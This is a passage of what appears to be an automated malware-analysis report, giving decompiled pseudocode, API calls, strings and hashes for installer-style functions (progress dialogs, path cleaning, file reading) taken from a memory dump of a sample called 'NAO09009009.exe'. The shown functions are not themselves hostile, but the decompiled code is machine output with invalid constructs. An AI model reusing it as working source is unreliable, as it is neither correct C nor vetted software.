Instruction ID: 6f5f2b99d90c7511299ba9a64344c15edde84ad84532d0df03b232db96096e81
Opcode Fuzzy Hash: 461394275e41b2543b5fd82fcf6b9832f1e7dc77c54885fbf13ec40e6163d1f3
Instruction Fuzzy Hash: BA613671601111ABDF209F14DD80AAE37A5AF10718F52403FE943B72D0DB3E5AA6CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004055A4, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004055A4(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x429244;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x42a334;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E00406579(_t38, 0, 0x422728, 0x422728, _a4);
					}
					_t27 = lstrlenW(0x422728);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x429228, 0x422728);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x422728;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x422728[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x422728, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004055aa
0x004055b4
0x004055b9
0x004055bf
0x004055ca
0x004055cd
0x004055d0
0x004055d6
0x004055d6
0x004055dc
0x004055e4
0x004055e7
0x00405604
0x00405608
0x00405611
0x00405611
0x0040561b
0x00405624
0x00405630
0x00405637
0x0040563b
0x0040563e
0x00405651
0x0040565f
0x0040565f
0x00405663
0x00405665
0x00405668
0x00000000
0x00405668
0x004055e9
0x004055f1
0x004055f9
0x004055ff
0x00000000
0x004055ff
0x004055f9
0x004055e7
0x00405674

APIs

lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
SetWindowTextW.USER32(00422728,00422728), ref: 00405611
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

('B, xrefs: 004055C5

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: ('B
API String ID: 2531174081-2332581011
Opcode ID: 8d4ec48a8783ac7c02cf808f938a66a70b9f0af433ef19620f9c759a8ff7b601
Instruction ID: cea8892cb4e31635aa5f40387e4ea582d2b984c796fabda61e5f1d3d18a4122e
Opcode Fuzzy Hash: 8d4ec48a8783ac7c02cf808f938a66a70b9f0af433ef19620f9c759a8ff7b601
Instruction Fuzzy Hash: E6218E71900518BACB119F65DD44ECFBFB9EF45360F54443AF904B62A0C77A4A508FA8

Uniqueness

Uniqueness Score: -1.00%

Function 004067EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004067EB(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405E88(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405E3E(L"*?|<>/\":", _t5))) == 0) {
							E00405FED(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004067ed
0x004067f6
0x0040680d
0x0040680d
0x00406814
0x00406820
0x00406820
0x00406823
0x00406826
0x0040682b
0x0040682d
0x00406836
0x0040683a
0x00406857
0x0040685f
0x0040685f
0x00406864
0x00406866
0x00406869
0x0040686e
0x0040686f
0x00406873
0x00406873
0x00406874
0x0040687b
0x0040687d
0x00406884
0x00000000
0x00000000
0x0040688c
0x00406892
0x00000000
0x00000000
0x00000000
0x00406892
0x00406897

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
CharNextW.USER32(?,00000000,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
CharPrevW.USER32(?,?,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004067EC
"C:\Users\user\Desktop\NAO09009009.exe" , xrefs: 004067EB
*?|<>/":, xrefs: 0040683D

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\NAO09009009.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4289771104
Opcode ID: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction ID: fdbe35b52bffc5d77a346742aeba0a27372f18d7f8de2c65e324d6b3b11dfc69
Opcode Fuzzy Hash: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction Fuzzy Hash: 8211932780261255DB303B559C44AB762E8AF94790B56C83FED8A732C0EB7C4C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 004044F9, Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044F9(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x0040450b
0x004045c1
0x00000000
0x004045c1
0x0040451c
0x00404520
0x00000000
0x0040453a
0x0040453a
0x00404543
0x00000000
0x00000000
0x00404545
0x00404551
0x00404554
0x00404554
0x0040455a
0x00404560
0x00404560
0x0040456c
0x00404572
0x00404579
0x0040457c
0x0040457f
0x00404581
0x00404581
0x00404589
0x0040458f
0x0040458f
0x00404599
0x0040459e
0x004045a1
0x004045a6
0x004045a9
0x004045a9
0x004045b9
0x004045b9
0x00000000
0x004045bc

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404516
GetSysColor.USER32(00000000), ref: 00404554
SetTextColor.GDI32(?,00000000), ref: 00404560
SetBkMode.GDI32(?,?), ref: 0040456C
GetSysColor.USER32(?), ref: 0040457F
SetBkColor.GDI32(?,?), ref: 0040458F
DeleteObject.GDI32(?), ref: 004045A9
CreateBrushIndirect.GDI32(?), ref: 004045B3

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: b56a63bd10d9b88d704488fa4fc448251793e5de010e462820c933ca6d0d38e3
Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: F52167B1500B04AFCB31DF68DD48A577BF8AF41714B048A2EEA96A26E1D734D904CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004026E4, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026E4(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D1C(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x42a308 =  *0x42a308 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E0040649C(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00406113( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004060B5( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E00406483( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026e4
0x004026e6
0x004026e9
0x004026eb
0x004026ee
0x004026f3
0x004026f7
0x004026fa
0x004026fd
0x00402bc2
0x00402bc5
0x00402703
0x00402703
0x0040270a
0x0040270c
0x0040270c
0x00402712
0x00402876
0x00402876
0x00402879
0x0040287e
0x004015b6
0x00402925
0x00402925
0x00000000
0x00402718
0x00402719
0x00402724
0x00402727
0x00402733
0x00402737
0x004027cf
0x004027e7
0x004027f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040273d
0x0040273d
0x00402740
0x00402741
0x00402744
0x00402749
0x00402750
0x00402758
0x00000000
0x0040275e
0x0040275e
0x00402763
0x00000000
0x00402769
0x00402769
0x00402771
0x00402774
0x00402777
0x00402832
0x00402839
0x0040277d
0x00402783
0x0040278f
0x004027f9
0x004027f9
0x00402791
0x00402791
0x00402794
0x00402796
0x00402796
0x00402796
0x00402799
0x0040279e
0x004027a1
0x00000000
0x00000000
0x004027a3
0x004027a6
0x004027b4
0x004027ba
0x004027c8
0x00000000
0x004027ca
0x00000000
0x004027ca
0x00000000
0x004027c8
0x00402796
0x004027fc
0x004027ff
0x00000000
0x00402801
0x00402806
0x00402847
0x00402869
0x00402870
0x00402855
0x00402855
0x00402858
0x0040285b
0x0040285e
0x0040285e
0x00000000
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281b
0x0040281f
0x00402822
0x00000000
0x00000000
0x00000000
0x00000000
0x00402822
0x00402806
0x004027ff
0x00402777
0x00402763
0x00402758
0x00000000
0x00402824
0x00402824
0x00402827
0x00402830
0x00000000
0x00402727
0x00402712
0x00402bcb
0x00402bd1

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027C4

Part of subcall function 00406113: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406129

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction ID: 9e8848406421114bacb3fc7d7daa07285f06221c2759d1c737873bd090f70c65
Opcode Fuzzy Hash: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction Fuzzy Hash: 5951F975D00219ABDF20DF95CA89AAEBB79FF04304F10817BE501B62D0E7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402FC6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402FC6(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x420efc; // 0x0
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x420efc = 0;
					return _t15;
				}
				__eflags =  *0x420efc; // 0x0
				if(__eflags != 0) {
					return E0040696D(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x42a270;
				if(_t6 >  *0x42a270) {
					__eflags =  *0x42a268;
					if( *0x42a268 == 0) {
						_t7 = CreateDialogParamW( *0x42a260, 0x6f, 0, E00402F2B, 0);
						 *0x420efc = _t7;
						return ShowWindow(_t7, 5);
					}
					__eflags =  *0x42a334 & 0x00000001;
					if(( *0x42a334 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00402FAA());
						return E004055A4(0,  &_v132);
					}
				}
				return _t6;
			}

0x00402fd5
0x00402fd7
0x00402fde
0x00402fe1
0x00402fe1
0x00402fe7
0x00000000
0x00402fe7
0x00402fef
0x00402ff5
0x00000000
0x00402ff8
0x00402fff
0x00403005
0x0040300b
0x0040300d
0x00403013
0x00403051
0x0040305a
0x00000000
0x0040305f
0x00403015
0x0040301c
0x0040302d
0x00000000
0x0040303b
0x0040301c
0x00403067

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402FE1
GetTickCount.KERNEL32 ref: 00402FFF
wsprintfW.USER32 ref: 0040302D

Part of subcall function 004055A4: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(00422728,00422728), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

CreateDialogParamW.USER32 ref: 00403051
ShowWindow.USER32(00000000,00000005), ref: 0040305F

Part of subcall function 00402FAA: MulDiv.KERNEL32(0002F5C1,00000064,00031E86), ref: 00402FBF

Strings

... %d%%, xrefs: 00403027

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: ab62b393791c357b2b7c3f13276244fc9b242bdab4121adb7888db3a09e72511
Instruction ID: a5f4734244b8f6f028ba4000c5489b7d2f6cf4b1dd98660c68856af7419d999b
Opcode Fuzzy Hash: ab62b393791c357b2b7c3f13276244fc9b242bdab4121adb7888db3a09e72511
Instruction Fuzzy Hash: 1D010470506211EBCB216F64EE0CEAA7B7CAB00B01B10047BF841F11E9DABC4545DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 00404E4D, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E4D(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404e5b
0x00404e68
0x00404e6e
0x00404eac
0x00404eac
0x00404ebb
0x00404ec2
0x00000000
0x00404ec4
0x00404e70
0x00404e7f
0x00404e87
0x00404e8a
0x00404e9c
0x00404ea2
0x00404ea9
0x00000000
0x00404ea9
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E68
GetMessagePos.USER32 ref: 00404E70
ScreenToClient.USER32 ref: 00404E8A
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404E9C
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC2

Strings

f, xrefs: 00404E9E

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 8ba846b23e886e731abba7044b613a2dc07349659d22c8c6246ceab34d3a3da9
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: C0015E7190021DBADB00DBA4DD85FFEBBBCAF54711F10012BBB50B61C0D7B8AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2B, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F2B(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00402FAA();
					_t19 = L"unpacking data: %d%%";
					if( *0x42a274 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402f3b
0x00402f49
0x00402f4f
0x00402f4f
0x00402f5d
0x00402f5f
0x00402f6b
0x00402f70
0x00402f72
0x00402f72
0x00402f7d
0x00402f8d
0x00402f9f
0x00402f9f
0x00402fa7

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402F49
wsprintfW.USER32 ref: 00402F7D
SetWindowTextW.USER32(?,?), ref: 00402F8D
SetDlgItemTextW.USER32 ref: 00402F9F

Strings

verifying installer: %d%%, xrefs: 00402F72, 00402F7B
unpacking data: %d%%, xrefs: 00402F6B

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
